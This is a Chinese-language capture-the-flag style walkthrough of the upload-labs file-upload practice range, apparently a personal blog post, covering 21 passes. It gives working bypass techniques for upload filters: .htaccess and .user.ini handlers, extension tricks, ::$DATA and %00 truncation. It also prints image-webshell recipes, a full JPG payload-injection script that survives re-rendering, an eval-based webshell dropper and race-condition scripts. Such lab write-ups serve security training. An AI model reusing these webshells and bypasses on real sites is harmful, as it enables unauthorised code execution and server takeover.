pass-01 js禁用
发现是js拦截。
禁用js,火狐浏览器,输入about:config后,找到JavaScriptenabled 把它的值修改为false即可。、
上传完毕后,每一关都需要看看是否上传成功,右键点击复制图像链接,然后访问
发现是空白的,是正常的,这时看看能不能打开phpinfo();成功后是这个样子的
注意:传入的x是你上传的一句话木马里面的,不然是传入不成功的。
pass-02 更改文件类型
同样想上传muma.php,题目中说文件类型不正确。
用bp抓包试试。
在上传muma.php时抓包,把文件类型改为image/jpeg,上传成功。
pass-03 上传未过滤的文件后缀名
在传入muma.php时,发现它提示不允许上传这些后缀文件,说明本关应该是检测的文件后缀名。但是它只是说不能上传.asp,.aspx,.php,.jsp后缀文件,php环境可以尝试的后缀php1,php2,php3,php4.php5,phtmI, pht,直接把php后缀名改为php3,直接上传成功。
上传完毕。但是我不能访问phpinfo();[我也试过去更改apache的配置文件,但是不成功]我看大佬说
由于phpstudy
新版本没有TS,所以无法解析上传的php3文件(被当作文本)
反正是成功绕过.
pass-04 .htaccess文件
查看源码,发现这题基本上禁止一切可以被解析的php文件。
先修改配置文件。
把AllowOverride none改为all
上传.htaccess文件,再上传mumu.jpg
<FilesMatch 'muma.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>
虽然不能执行phpinfo();但是蚁剑能连上,说明拿到了shell
pass-05 .user.ini文件绕过
查看源码发现这题.htaccess也被过滤了,所以我们考虑.user.ini文件绕过。
创建.user.ini文件
auto_prepend_file=muma.jpg
先上传.user.ini文件,再上传muma.jpg文件。
连接成功,注意要把muma.jpg文件改为muma.php。
pass-06 大小写绕过
把php文件后缀名改为Php后,确实是上传成功了,但是访问图片地址的时候一直是内部服务器错误。。
pass-07 空格绕过
发现没有首尾收空这一条,我试过把末尾加上一个空格,显示上传出错,再又在文件后缀名第一位加了一个空格才成功绕过。
pass-08 .绕过
发现过滤少了去除.
用bp抓包,然后在文件后缀名加. 成功绕过
pass-09 ::$DATA绕过黑名单
第九关的代码确实少了去除字符串::$DATA
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名
抓包
把后面添加的::$DATA删除才能连接成功
pass-10 .空格. 绕过
windows在文件命名中会自动删除.和空格,所以不能直接在windows中上传
pass-11 双写php绕过
发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名
只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空
但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写php即可
pass-12 %00截断
代码漏洞点就在于用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方
因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)
这样就通过了白名单校验 并且保存成了php文件
这里就要用到0x00截断的知识
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,
然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
%00的使用是在路径上!
如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg
需要满足的条件
00截断的限制条件是PHP<5.3.29,且GPC关闭
因为当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
%00
截断的条件是
php
版本要小于5.3.4 修改php.ini
的magic_quotes_gpc
为OFF
状态
上传info.php,用bp抓包
抓包后修改三个地方,第一个是在第一行路径上加上你的文件名并%00截断,这里是info.php%00
第二个是将文件名后缀改为jpg,第三个将文件类型改为image/jpeg
再发送到重放器
上传成功
访问成功。
本pass参考:https://blog.youkuaiyun.com/weixin_54894046/article/details/127239720
pass-13 图片马
图片马,首先我们生成一个图片马
这里我把muma.jpg和muma.php合成了imagemuma.jpg ,那么imagemuma.jpg就是生成的图片马,注意要在你放图片和木马的路径下打开cmd,否则路径是不对的。
copy muma.jpg/b + muma.php/a imagemuma.jpg
pass-14 图片马
一样是图片马,但是用之前的方法是不对的,我打开我的imagemumas.jpg ,发现里面有两个一句话木马,我才发现我原本上传的muma.jpg本身就是一句话木马,所以我用一张图片和一句话木马合成了一个图片马,然后就上传成功了。
copy 164246.jpg/b + muma.php/a imagemuma.jpg
pass-15 图片马
用同pass14一样的方法上传成功了。
pass-16 exif模块
之前已知没有做成功原因是没有开启exif模块,需要在phpstudy_pro里面开启这个模块
接着就和之前一样上传图片马就行了。
pass-17 内容检测(二次渲染)
在php.ini中开启allow_url_fopen选项
这一关同样是图片马,看了别人的博客才知道,jpg格式在这一关比较难被解析,而且有些jpg图片还不能被解析,所以试试别的后缀
不知道为什么我的pass-16上传图片一直不成功
那就只能借鉴看看别人是怎么做的了
gif格式
首先还是制作图片马,
copy 164246.jpg/b + muma.php/a imagemuma.gif
然后将上传之后的gif图片和原本的gif图片放入010软件中去对比,发现上传之后的图片一句话木马是被打断的,因此我们要对比看看上传前后哪一段没有被打断,在这一段再去写入一句话木马,即可解析成功
png格式
相对于gif格式的图片,png的二次渲染的绕过并不能像gif那样简单.
因为png分了好几个数据块组成,如果用上面的方法就成功不了,那么我们就要相悖的办法了
这里我就直接借鉴了另外一篇文章的代码,直接使用代码生成一个拥有一句话木马的图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
然后上传
jpg格式
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
pg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来
然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件
然后我们进行上传,再下载下来岔开一句话是否还在,在的话直接运行即可,如果不行就多试重几次jpg图片
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
此pass来源:Upload-labs 1-20关靶场通关攻略(全网最全最完整)_upload靶场-优快云博客
pass-18 条件竞争
代码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
$file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
$upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
// 尝试移动上传文件到指定路径
if(move_uploaded_file($temp_file, $upload_file)){
// 如果文件成功移动到目标路径
if(in_array($file_ext,$ext_arr)){
// 如果上传的文件扩展名在允许的范围内
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
$is_upload = true; // 设置上传标志为true
}else{
// 如果上传的文件扩展名不在允许的范围内
$msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置错误消息
unlink($upload_file); // 删除上传的文件
}
}else{
// 如果移动上传文件失败
$msg = '上传出错!'; // 设置错误消息
}
}
如果我们上传php文件,他会删除我们上传的木马。
那么就只能用bp进行多次发包,总有一次是访问成功的,就是利用bp的多线程发包
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
发送到爆破模块
先清除payload位置
payload类型选择Null payloads,无限重复
import requests
url = "http://xxx/upload-labs/upload/pythoymuma.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
再用一个Python代码 ,xxx是你的IP地址
开始攻击,开始攻击后再运行PHP代码,直达访问成功,这时蚁剑连接,上传成功
pass-19 白名单+条件竞争+Apache未知后缀名解析漏洞
Python脚本
import requests
url = "http://xxx/upload-labs/upload/pythoymuma.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
但是这次抓包后需要在文件后面加上一个无关后缀
然后和上一关一样利用bp多线程发包,再运行Python代码。
pass20 黑名单+上传路径可控
先用bp抓包,然后在文件后面加上/.来绕过黑名单的限制
发送到重放器
上传成功,再用蚁剑连接
连接成功
pass-21 MIME验证+白名单+上传路径可控
这里我先上传一个一句话木马进行抓包
抓包后再加一个后缀.jpg,将文件类型改为image/jpeg
并且后面都要有一个sava_name[0]和save_name[2],文件类型一个为php,一个为jpg,具体原理我也不太清楚
发送到重放器。
上传成功,再试着用蚁剑连接
连接成功